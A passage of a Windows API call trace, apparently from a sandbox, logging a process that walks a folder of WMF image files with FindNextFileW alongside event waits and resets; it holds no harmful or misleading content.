WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0237.936] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x721c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00086_.WMF", cAlternateFileName="")) returned 1 [0237.936] ResetEvent (hEvent=0x2b8) returned 1 [0237.936] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0237.979] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3772, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00090_.WMF", cAlternateFileName="")) returned 1 [0237.979] ResetEvent (hEvent=0x2b8) returned 1 [0237.979] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0238.028] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc55757, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc55757, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x920e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00096_.WMF", cAlternateFileName="")) returned 1 [0238.029] ResetEvent (hEvent=0x2b8) returned 1 [0238.029] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0238.192] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc55757, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc55757, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00296_.WMF", cAlternateFileName="")) returned 1 [0238.192] ResetEvent (hEvent=0x2b8) returned 1 [0238.192] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0238.584] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc2f4b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc2f4b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc7b993, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4712, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00297_.WMF", cAlternateFileName="")) returned 1 [0238.584] ResetEvent (hEvent=0x2b8) returned 1 [0238.584] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0238.621] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc2f4b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc2f4b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb6de, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00306_.WMF", cAlternateFileName="")) returned 1 [0238.622] ResetEvent (hEvent=0x2b8) returned 1 [0238.622] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0238.667] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc2f4b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc2f4b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc55757, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00336_.WMF", cAlternateFileName="")) returned 1 [0238.667] ResetEvent (hEvent=0x2b8) returned 1 [0238.668] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0238.674] ResetEvent (hEvent=0x2b8) returned 1 [0238.674] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0238.879] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc2f4b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfea, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00361_.WMF", cAlternateFileName="")) returned 1 [0238.879] ResetEvent (hEvent=0x2b8) returned 1 [0238.880] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0238.882] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc2f4b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc2f4b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc55757, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2168, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00369_.WMF", cAlternateFileName="")) returned 1 [0238.882] ResetEvent (hEvent=0x2b8) returned 1 [0238.882] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0238.895] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc2f4b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc2f4b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc2f4b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00382_.WMF", cAlternateFileName="")) returned 1 [0238.895] ResetEvent (hEvent=0x2b8) returned 1 [0238.895] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0239.604] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc2f4b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc2f4b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc2f4b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00397_.WMF", cAlternateFileName="")) returned 1 [0239.604] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc2f4b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ec6, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00403_.WMF", cAlternateFileName="")) returned 1 [0239.605] ResetEvent (hEvent=0x2b8) returned 1 [0239.605] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0239.621] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2afa, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00414_.WMF", cAlternateFileName="")) returned 1 [0239.621] ResetEvent (hEvent=0x2b8) returned 1 [0239.621] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0239.625] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x400c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00419_.WMF", cAlternateFileName="")) returned 1 [0239.625] ResetEvent (hEvent=0x2b8) returned 1 [0239.625] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0240.415] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00428_.WMF", cAlternateFileName="")) returned 1 [0240.417] ResetEvent (hEvent=0x2b8) returned 1 [0240.417] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0240.679] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00435_.WMF", cAlternateFileName="")) returned 1 [0240.679] ResetEvent (hEvent=0x2b8) returned 1 [0240.679] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0240.697] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00438_.WMF", cAlternateFileName="")) returned 1 [0240.697] ResetEvent (hEvent=0x2b8) returned 1 [0240.697] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0240.974] ResetEvent (hEvent=0x2b8) returned 1 [0240.974] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0241.095] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x22de, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00455_.WMF", cAlternateFileName="")) returned 1 [0241.095] ResetEvent (hEvent=0x2b8) returned 1 [0241.095] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0241.108] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00459_.WMF", cAlternateFileName="")) returned 1 [0241.108] ResetEvent (hEvent=0x2b8) returned 1 [0241.108] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0241.427] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00543_.WMF", cAlternateFileName="")) returned 1 [0241.427] ResetEvent (hEvent=0x2b8) returned 1 [0241.428] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0241.455] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x148c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00544_.WMF", cAlternateFileName="")) returned 1 [0241.455] ResetEvent (hEvent=0x2b8) returned 1 [0241.455] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0241.702] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00564_.WMF", cAlternateFileName="")) returned 1 [0242.152] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00586_.WMF", cAlternateFileName="")) returned 1 [0242.152] ResetEvent (hEvent=0x2b8) returned 1 [0242.152] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0242.247] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00775_.WMF", cAlternateFileName="")) returned 1 [0242.247] ResetEvent (hEvent=0x2b8) returned 1 [0242.248] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0242.624] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2332, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00779_.WMF", cAlternateFileName="")) returned 1 [0242.624] ResetEvent (hEvent=0x2b8) returned 1 [0242.625] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0242.766] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3690, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00799_.WMF", cAlternateFileName="")) returned 1 [0242.766] ResetEvent (hEvent=0x2b8) returned 1 [0242.767] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0243.824] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa6d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00814_.WMF", cAlternateFileName="")) returned 1 [0243.824] ResetEvent (hEvent=0x2b8) returned 1 [0243.824] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0243.898] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3b3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00965_.WMF", cAlternateFileName="")) returned 1 [0243.898] ResetEvent (hEvent=0x2b8) returned 1 [0243.898] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0244.130] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x121a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01074_.WMF", cAlternateFileName="")) returned 1 [0244.130] ResetEvent (hEvent=0x2b8) returned 1 [0244.130] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0244.366] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01084_.WMF", cAlternateFileName="")) returned 1 [0244.366] ResetEvent (hEvent=0x2b8) returned 1 [0244.366] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0244.402] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1378, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01176_.WMF", cAlternateFileName="")) returned 1 [0244.402] ResetEvent (hEvent=0x2b8) returned 1 [0244.402] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0244.694] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01191_.WMF", cAlternateFileName="")) returned 1 [0244.694] ResetEvent (hEvent=0x2b8) returned 1 [0244.694] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0244.725] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf2a4e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x488, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01193_.WMF", cAlternateFileName="")) returned 1 [0244.725] ResetEvent (hEvent=0x2b8) returned 1 [0244.725] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0245.078] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf2a4e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x91c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01196_.WMF", cAlternateFileName="")) returned 1 [0245.078] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x284c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01548_.WMF", cAlternateFileName="")) returned 1 [0245.078] ResetEvent (hEvent=0x2b8) returned 1 [0245.078] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0245.091] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf2a4e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x76ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01657_.WMF", cAlternateFileName="")) returned 1 [0245.091] ResetEvent (hEvent=0x2b8) returned 1 [0245.091] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0245.105] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4604, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01658_.WMF", cAlternateFileName="")) returned 1 [0245.105] ResetEvent (hEvent=0x2b8) returned 1 [0245.106] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0245.115] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, 